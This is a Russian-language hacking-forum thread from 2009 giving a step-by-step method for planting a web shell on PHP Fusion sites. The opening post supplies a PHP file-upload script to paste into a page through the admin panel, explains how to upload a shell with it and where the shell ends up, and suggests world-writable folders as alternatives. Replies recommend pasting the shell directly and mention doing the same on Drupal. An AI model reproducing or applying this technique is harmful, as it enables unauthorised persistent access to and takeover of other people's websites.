.: Залив Шелла на Двиг PHP Fusion через Админку :.

Discussion in 'Веб-уязвимости' started by SuNDowN, 12 Dec 2009.

  1. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Залив Шелла на Двиг PHP Fusion через Админку!

    Привет АчаТу! 5 дней искал способ заливки шелла на сайт с двигом PHP Fusion (версии от 6.**.** до 7.**.**) и нашёл!

    • Итак что нам надо?
    - Нам нужны админские права (Админа/Супер Админа);
    - И вот мой скриптик вам пригодится:
    PHP:
    <?php
     $uploaddir 
    'images/';
     
    $uploadfile $uploaddir basename($_FILES['userfile']['name']);

     if (
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
       echo 
    "File is Valid, and was Successfully Uploaded! ;)\n";
     } else {
       echo 
    "File Uploading Failed! ;(\n";
     }
    ?>

    <form name="upload" action="viewpage.php?page_id=" method="POST" ENCTYPE="multipart/form-data">
    Select the file to upload: <input type="file" name="userfile">
    <input type="submit" name="upload" value="UpLoad">
    </form>
    • Что дальше?
    - Заходим на сайт куда нада залить шелл, вводим логин/пароль админа;
    - Далее щёлкаем "Панель администратора" в появившемся окне щёлкаем "Страницы";
    - Далее мы временно создаем страницу, придумайте название, а вот в форму содержания вставьте код который я показал и нажимаем "Сохранить Страницу";
    - После сохранения вам выдаст такое: "Страница добавлена. Ссылка на эту страницу: viewpage.php?page_id=XXX", где XXX - номер страницы.
    - Далее находим нашу страницу под названием которым мы её сохранили, нажимаем "Изменить" и в коде в строке "viewpage.php?page_id=XXX" заменяем XXX на те цифры которые нам показало первый раз при сохранении нашей страницы;
    - Далее щёлкаем по выданной ссылке нашей страницы;
    - Щёлкаем кнопку "Обзор" указываем путь до шелла и жмём кнопку "UpLoad".
    - После нажатия на "UpLoad" если выдаст сообщение:
    \ "File Uploading Failed! ;(" - значит не удалось залить шелл, тут либо прав нет на запись на сайт, либо вы чтото сделали не так!)
    \ "File is Valid, and was Successfully Uploaded! ;)" - это значит заливка удалась и мы идёт открывать шелл! Шелл будет располагаться по следующему пути:
    Code:
    [COLOR=White]http://site.com/images/[COLOR=Green]Имя_Вашего_Шелла.php[/COLOR][/COLOR]
    - Если вы знаете другую папку на которой в большенстве случаев CHMOD 777 тогда вы можете изменить путь по умолчанию на неё, для этого вам нужно в моём коде изменить строку на свою папку:
    Code:
    $uploaddir = 'images/';
    • Если Вам помог мой способ помогите и мне! Поставь + -сы не желей! =)

    Author: © SuNDowN - Просить плюсы нельзя (c) Ctacok
     
    #1 SuNDowN, 12 Dec 2009
    Last edited by a moderator: 13 Dec 2009
    8 people like this.
  2. Dark_cracker

    Dark_cracker Member

    Joined:
    29 May 2009
    Messages:
    73
    Likes Received:
    8
    Reputations:
    1
    если сразу сохранить php-shell ?, вместо твоего скрипта ))
     
  3. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    а ты попробуй! это редкость если получится сразу шелл запустить с этой страницы!
     
  4. Dark_cracker

    Dark_cracker Member

    Joined:
    29 May 2009
    Messages:
    73
    Likes Received:
    8
    Reputations:
    1
    если твой скрипт запустился , значит и шел запуститься я так много раз заливал , только на друпал...
     
  5. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Тебе уже сказали,тут проще залить шелл.Темболее,я лично об этом способе знал,только лил сразу шелл.